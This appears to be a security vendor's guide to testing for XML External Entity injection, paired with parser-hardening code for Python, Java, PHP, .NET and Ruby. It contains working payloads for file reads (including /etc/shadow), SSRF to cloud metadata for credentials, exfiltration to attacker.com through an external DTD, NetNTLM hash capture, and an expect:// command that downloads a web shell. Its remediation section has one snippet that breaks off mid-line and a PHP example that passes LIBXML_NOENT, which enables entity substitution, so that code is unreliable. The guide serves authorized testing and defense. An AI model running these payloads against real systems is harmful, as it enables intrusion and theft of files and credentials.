XXE Injection Testing: A Complete Guide to XML External Entity Attacks
XML External Entity (XXE) injection is one of those vulnerabilities that looks harmless on paper — you're just parsing XML — and turns into arbitrary file read, SSRF, or remote code execution in practice. It has appeared in the OWASP Top 10 since 2017 (A05:2021 Security Misconfiguration, previously its own category A4:2017) and continues to show up in production systems, primarily because the default configuration of most XML parsers is unsafe.
This guide covers how XXE works mechanically, every variant you need to test, the specific endpoints to look at, manual testing payloads, blind and out-of-band techniques, and what proper remediation looks like in each language stack.
How XXE Works: The Mechanics
XML supports a feature called Document Type Definitions (DTDs), which allow you to define the structure and legal elements of an XML document. Within a DTD, you can declare entities — essentially named references that the parser substitutes when it encounters them in the document body.
There are two types relevant to XXE: internal entities and external entities. Internal entities substitute a static string. External entities instruct the parser to fetch a resource — from the filesystem or over the network — and substitute its contents.
<!-- Internal entity: parser replaces &company; with "Ironimo" -->
<!DOCTYPE foo [
<!ENTITY company "Ironimo">
]>
<root><name>&company;</name></root>
<!-- External entity: parser fetches the file and substitutes contents -->
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>
When the application parses the second document and echoes back the <data> element, it returns the contents of /etc/passwd. The application never intended to expose that file — the XML parser just did exactly what the specification allows.
The root cause is always the same: the XML parser has external entity resolution enabled, and user-controlled XML reaches it. Both conditions must be true. Fix either one and the vulnerability disappears.
XXE Attack Variants
Classic XXE (In-Band File Read)
The server parses your XML and reflects the entity value in its response — either in the response body directly, in an error message, or in a data field the API returns.
POST /api/parse HTTP/1.1
Content-Type: application/xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
<username>&xxe;</username>
<email>test@test.com</email>
</user>
If the response includes root:x:0:0:root:/root:/bin/bash in the username field, the endpoint is vulnerable. On Windows systems, target file:///C:/Windows/System32/drivers/etc/hosts or file:///C:/boot.ini for confirmation.
XXE for SSRF
Instead of a file:// URI, use an http:// URI to make the server issue outbound requests. This turns XXE into a server-side request forgery primitive — useful for reaching internal services, cloud metadata endpoints, and services behind firewalls.
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<root><data>&xxe;</data></root>
<!-- Internal service enumeration -->
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://192.168.1.1:8080/">
]>
<root><data>&xxe;</data></root>
AWS EC2 metadata at 169.254.169.254 is the canonical target — a successful hit often yields IAM role credentials. Azure uses 169.254.169.254/metadata/instance with a required Metadata: true header (which you can't add via XXE, so GCP's metadata.google.internal is often more productive).
Blind XXE
The server parses your XML but doesn't reflect entity values in responses. You need an out-of-band channel to confirm exploitation. The standard approach is to use a DNS/HTTP callback server (Burp Collaborator, interactsh, or a VPS with nc) and craft a payload that forces the parser to make an outbound connection.
<!-- Basic OOB DNS trigger -->
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://YOUR-COLLABORATOR-ID.oastify.com/">
]>
<root><data>&xxe;</data></root>
A DNS lookup on your collaborator confirms the parser is resolving external entities. Now exfiltrate data using a parameter entity and an external DTD — this works around parsers that block general entities in document content but still process parameter entities in DTDs.
<!-- Step 1: Host this as http://attacker.com/evil.dtd -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?data=%file;'>">
%eval;
%exfil;
<!-- Step 2: Send this payload -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<root><data>test</data></root>
The parser fetches your external DTD, which defines a parameter entity containing the file contents, then constructs another entity that makes an HTTP request with that content as a query parameter. Your callback server logs the file contents.
Error-Based XXE
When a parser returns verbose XML parsing errors, you can trigger an error that includes file contents in the error message — no OOB channel needed.
<!-- Host as evil.dtd -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///this-does-not-exist/%file;'>">
%eval;
%error;
<!-- Payload -->
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<root/>
The parser tries to open a file whose path includes the contents of /etc/passwd. The file doesn't exist, so it throws an error — and many parsers include the attempted path in the error message, leaking the file contents.
Where to Look for XXE
Any endpoint that processes XML is a candidate. These are the most common attack surfaces in practice:
Direct XML Endpoints
- SOAP web services — SOAP envelopes are XML. Any
Content-Type: text/xmlorapplication/soap+xmlendpoint. - REST APIs accepting XML — Some APIs accept both JSON and XML. Try changing
Content-Type: application/jsontoapplication/xmland resending the request body as XML. - SAML endpoints — SAML assertions are base64-encoded XML. Decode the assertion, inject your XXE payload, re-encode, and submit. SAML SSO implementations have a long history of XXE vulnerabilities.
- RSS/Atom feed parsers — Applications that fetch and parse external feeds.
- XML-RPC endpoints — Still common in WordPress, legacy PHP, and some IoT APIs.
- OpenID Connect / OAuth with XML responses — Less common but exists in enterprise SSO.
File Upload Endpoints
File formats that are XML under the hood are frequently overlooked:
- SVG files — SVG is XML. An image upload endpoint that accepts SVGs and renders or processes them server-side is vulnerable to XXE through the SVG.
- DOCX / XLSX / PPTX — Office Open XML formats are zip archives containing XML files. Extract the archive, inject XXE into
word/document.xmlorxl/workbook.xml, repack, upload. - ODT / ODS — Same issue with OpenDocument formats.
- PDF generators with XML input — Some PDF generation libraries (Apache FOP, DITA-OT) accept XML input and are vulnerable.
- XSD/WSDL uploads — Schema files are XML and may trigger XXE in the server's schema validator.
SVG XXE Example
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<svg width="500" height="500" xmlns="http://www.w3.org/2000/svg">
<text font-size="16" x="10" y="40">&xxe;</text>
</svg>
Upload this as payload.svg. If the server renders it to PNG/PDF or includes the text content in any response, you get file read. libsvg, Inkscape (server-side), ImageMagick, and browser-based SVG renderers all behave differently — test each one.
SAML XXE Example
<!-- Decode the SAMLResponse parameter, inject before the root element -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Response [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ...>
<saml:Issuer>&xxe;</saml:Issuer>
...
</samlp:Response>
XXE for Internal Port Scanning
XXE-based SSRF lets you map internal network services. Send payloads with varying IPs and ports and infer open/closed status from response timing and error messages.
<!-- Open port: response is delayed then returns content -->
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://192.168.1.10:22/">
]>
<root><data>&xxe;</data></root>
<!-- Closed port: connection refused error returns quickly -->
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://192.168.1.10:9999/">
]>
<root><data>&xxe;</data></root>
An open port returns a response (or a protocol mismatch error after connecting). A closed port fails immediately with connection refused. The timing difference is usually 1-2 seconds vs. under 100ms. Automate this with Burp Intruder against a range of IPs and ports.
XXE to RCE
Under the right conditions, XXE escalates to remote code execution.
PHP expect:// Wrapper
If the target is PHP with the expect extension loaded (uncommon but exists in legacy environments), the expect:// URI scheme executes shell commands:
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "expect://id">
]>
<root><data>&xxe;</data></root>
<!-- With file write capability -->
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "expect://curl http://attacker.com/shell.php -o /var/www/html/shell.php">
]>
<root><data>&xxe;</data></root>
PHP php:// Wrappers
PHP's stream wrappers allow reading binary and encoded files, bypassing newline-based filtering that breaks standard file read:
<!-- Base64-encode file contents to handle binary and special chars -->
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/shadow">
]>
<root><data>&xxe;</data></root>
<!-- Read PHP source (avoids execution) -->
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/config.php">
]>
<root><data>&xxe;</data></root>
Java Classpath and jar:// URIs
Java XML parsers support the jar:// URI scheme, which can be used to load remote JAR files and trigger deserialization gadget chains in older Java environments. More practically, Java applications running as high-privilege users on Windows expose UNC paths:
<!-- Windows: steal NetNTLM hash via UNC path -->
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "\\attacker.com\share\file">
]>
<root><data>&xxe;</data></root>
<!-- Java internal classpath access -->
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///proc/self/environ">
]>
<root><data>&xxe;</data></root>
XML Parser Default Security: Which Parsers Are Safe?
The most important thing to understand about XXE is that most XML parsers are vulnerable by default. You must explicitly disable external entity resolution — it is not enough to upgrade the library version.
| Parser / Library | Language | External Entities Default | Notes |
|---|---|---|---|
| libxml2 | C / many bindings | Enabled | Used by PHP, Ruby, Python lxml, Node.js libxmljs |
| lxml (Python) | Python | Enabled | Wraps libxml2; must use resolve_entities=False |
| Python xml.etree.ElementTree | Python | Safe (since 3.8) | Raises ParseError on external entities since CVE-2019-20907 fix |
| Python xml.sax / expat | Python | Enabled | Must set custom resolver; stdlib defusedxml wraps safely |
| Java SAX (javax.xml.parsers.SAXParser) | Java | Enabled | Must set FEATURE_SECURE_PROCESSING or disable DTDs explicitly |
| Java DOM (DocumentBuilderFactory) | Java | Enabled | Same mitigation as SAX; one of the most commonly misconfigured |
| Java StAX (XMLInputFactory) | Java | Enabled | Must set IS_SUPPORTING_EXTERNAL_ENTITIES to false |
| Java JAXB | Java | Enabled | Delegates to SAX/DOM underneath; must harden the underlying parser |
| .NET XmlDocument | .NET | Context-dependent | Safe in .NET 4.5.2+ by default; older versions are vulnerable |
| .NET XmlReader | .NET | Safe (4.0+) | Prohibits DTDs by default; use DtdProcessing.Prohibit |
| .NET XmlTextReader | .NET | Enabled | Legacy class; must set DtdProcessing = DtdProcessing.Prohibit |
| PHP SimpleXML / DOMDocument | PHP | Enabled | Both use libxml2; must call libxml_disable_entity_loader(true) or set flags |
| Ruby REXML | Ruby | Safe (2.x) | Does not resolve external entities by default |
| Ruby Nokogiri | Ruby | Enabled | Wraps libxml2; must pass NONET option to block network resolution |
| Node.js libxmljs | JavaScript | Enabled | Wraps libxml2; pass {noent: false} |
| Go encoding/xml | Go | Safe | Standard library does not resolve external entities |
Manual Testing Checklist
Run through this checklist on every application that processes XML:
- Identify all XML entry points. Use Burp proxy with all traffic captured. Filter for
Content-Type: application/xml,text/xml,application/soap+xml. Also check endpoints that accept file uploads and SAML SSO flows. - Test with a basic external entity. Inject a
file://entity and check if the value is reflected in the response. - Test with an HTTP entity. Point to your Burp Collaborator or interactsh URL. Even if the value isn't reflected, a DNS/HTTP callback confirms the parser resolves external entities.
- If reflection is absent, test blind XXE. Use the external DTD technique with a parameter entity to exfiltrate data OOB.
- Try error-based XXE. Set verbose/debug mode if available and trigger an entity that references a nonexistent path containing file contents.
- Test file upload endpoints. Create malicious SVG, DOCX, XLSX payloads. Upload and observe if the server returns any data from the payload on processing.
- Check SAML endpoints. Decode the SAMLResponse or SAMLRequest, inject XXE, re-encode, replay.
- Check for PHP wrappers if the stack is PHP. Try
php://filter/convert.base64-encode/resource=payloads. - Attempt SSRF to cloud metadata. On AWS targets, try
http://169.254.169.254/latest/meta-data/. On GCP, tryhttp://metadata.google.internal/computeMetadata/v1/. - Try internal network enumeration. Use timing differences to map open ports on internal hosts.
Quick Baseline Payload Set
<!-- 1. File read confirmation -->
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>
<!-- 2. Windows file read -->
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">]>
<root>&xxe;</root>
<!-- 3. OOB DNS probe -->
<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://COLLABORATOR/">]>
<root>&xxe;</root>
<!-- 4. AWS metadata -->
<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<root>&xxe;</root>
<!-- 5. PHP base64 filter -->
<!DOCTYPE test [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">]>
<root>&xxe;</root>
What Good Remediation Looks Like
The correct fix is to disable DTD processing entirely. If your application doesn't use DTDs, there's no reason to allow them. If it does use DTDs for schema validation, disable external entity resolution and network access specifically, while keeping DTD parsing enabled.
Python
# Option 1: Use defusedxml (recommended drop-in replacement)
import defusedxml.ElementTree as ET
tree = ET.parse('input.xml') # External entities blocked by default
# Option 2: lxml with explicit settings
from lxml import etree
parser = etree.XMLParser(
resolve_entities=False,
no_network=True,
load_dtd=False
)
tree = etree.parse('input.xml', parser)
# Option 3: stdlib xml.sax with a custom resolver that blocks all external access
import xml.sax
from xml.sax.handler import ContentHandler
class SafeContentHandler(ContentHandler):
pass
class SafeEntityResolver:
def resolveEntity(self, public_id, system_id):
raise xml.sax.SAXException(f"External entity denied: {system_id}")
parser = xml.sax.make_parser()
parser.setEntityResolver(SafeEntityResolver())
parser.setContentHandler(SafeContentHandler())
parser.parse('input.xml')
Java
// SAXParserFactory — disable DTD processing entirely
SAXParserFactory factory = SAXParserFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
SAXParser parser = factory.newSAXParser();
// DocumentBuilderFactory — same approach
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
DocumentBuilder builder = dbf.newDocumentBuilder();
// XMLInputFactory (StAX)
XMLInputFactory factory = XMLInputFactory.newInstance();
factory.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, Boolean.FALSE);
factory.setProperty(XMLInputFactory.SUPPORT_DTD, Boolean.FALSE);
PHP
<?php
// DOMDocument — use LIBXML_NONET to block network access
// and avoid loading external entities
$dom = new DOMDocument();
libxml_set_external_entity_loader(null); // Disable external entity loader (PHP 8+)
$dom->loadXML($xmlString, LIBXML_NOENT | LIBXML_NONET | LIBXML_DTDLOAD);
// SimpleXML — same flags
$xml = simplexml_load_string(
$xmlString,
'SimpleXMLElement',
LIBXML_NOENT | LIBXML_NONET | LIBXML_DTDLOAD
);
// For PHP 8.0+, the external entity loader is disabled by default
// but always set it explicitly for clarity:
libxml_set_external_entity_loader(function($publicId, $systemId, $context) {
return null; // Block all external entities
});
// Validate that no DTD is present before parsing untrusted XML
if (strpos($xmlString, '
.NET
// XmlReader — safe by default in .NET 4.0+, but be explicit
var settings = new XmlReaderSettings
{
DtdProcessing = DtdProcessing.Prohibit, // Throws on any DOCTYPE
XmlResolver = null // No external resolution
};
using var reader = XmlReader.Create(stream, settings);
// XmlDocument — safe in .NET 4.5.2+, but set explicitly for older targets
var doc = new XmlDocument
{
XmlResolver = null // Prevents external entity resolution
};
doc.LoadXml(xmlString);
// XmlTextReader — legacy, must be hardened manually
var reader = new XmlTextReader(stream)
{
DtdProcessing = DtdProcessing.Prohibit,
XmlResolver = null
};
// LINQ to XML (XDocument) — safe by default; does not resolve external entities
Ruby
# Nokogiri — use NONET and NOENT options
require 'nokogiri'
doc = Nokogiri::XML(xml_string) do |config|
config.options = Nokogiri::XML::ParseOptions::NONET |
Nokogiri::XML::ParseOptions::NOENT
end
# Or use the strict parser that raises on external entities
doc = Nokogiri::XML(xml_string) { |c| c.strict.nonet.noent }
# REXML — safe by default, but for completeness:
require 'rexml/document'
REXML::Document.new(xml_string) # Does not resolve external entities
WAF and Defense-in-Depth Considerations
Parser-level hardening is the only real fix. WAF rules that block <!DOCTYPE or <!ENTITY strings are a useful additional layer but are bypassable through encoding tricks:
<!-- UTF-16 encoding to bypass WAF pattern matching -->
<!-- Payload encoded as UTF-16LE, parser accepts it, WAF misses the string -->
<!-- Nested entity encoding -->
<!DOCTYPE foo [
<!ENTITY % a "<!ENTITY xxe SYSTEM 'file:///etc/passwd'>">
%a;
]>
<root>&xxe;</root>
Additional controls that reduce blast radius:
- Network egress filtering — Block outbound HTTP/DNS from application servers to prevent OOB exfiltration. This turns blind XXE into a non-exploitable parser quirk.
- Run parsers as low-privilege users — File read via XXE is only interesting if the process can access sensitive files. A dedicated service account with minimal filesystem access limits the impact.
- IMDSv2 on AWS — IMDSv2 requires a PUT request with a session token before the metadata API responds, which XXE-based SSRF cannot perform. Migrate all EC2 instances to IMDSv2.
- Content-Type validation — Reject XML content-types on endpoints that don't expect XML. Don't let attackers switch a JSON endpoint to XML by changing the Content-Type header.
Testing Checklist Summary
| Test | Payload Type | Confirms |
|---|---|---|
| Basic file read | file:///etc/passwd |
Classic XXE, parser resolves external entities |
| HTTP callback | http://collaborator/ |
OOB connectivity, blind XXE possible |
| Cloud metadata | http://169.254.169.254/... |
SSRF to instance metadata, credential theft |
| External DTD + param entity | External DTD with %file; %exfil; | Blind XXE data exfiltration |
| Error-based | Nonexistent path with file contents | Exfiltration via error messages |
| SVG upload | SVG with XXE entity | File read via image processing |
| DOCX/XLSX upload | Modified Office XML with XXE | File read via document processing |
| SAML assertion | XXE in decoded SAMLResponse | File read / SSRF via SSO |
| PHP filter | php://filter/convert.base64-encode/... |
Binary file read, source code disclosure |
| Port scan | http://internal-ip:port/ |
Internal network enumeration via timing |
XXE is a class of vulnerability that is entirely preventable. The parser configuration changes required are small and well-documented. The problem is that the unsafe defaults have been in place for decades, and a lot of production code was written without this in mind. If your application processes XML at any point in its request handling — including document uploads and SAML flows — assume it needs to be audited.
Ironimo runs automated XXE testing as part of every web application scan — checking XML parsers, file upload endpoints, SOAP services, and SVG handlers using the same payloads professional pentesters use on Kali Linux.
Schedule scans on demand or on a recurring basis. Results come with proof-of-concept payloads and remediation guidance.
Start free scan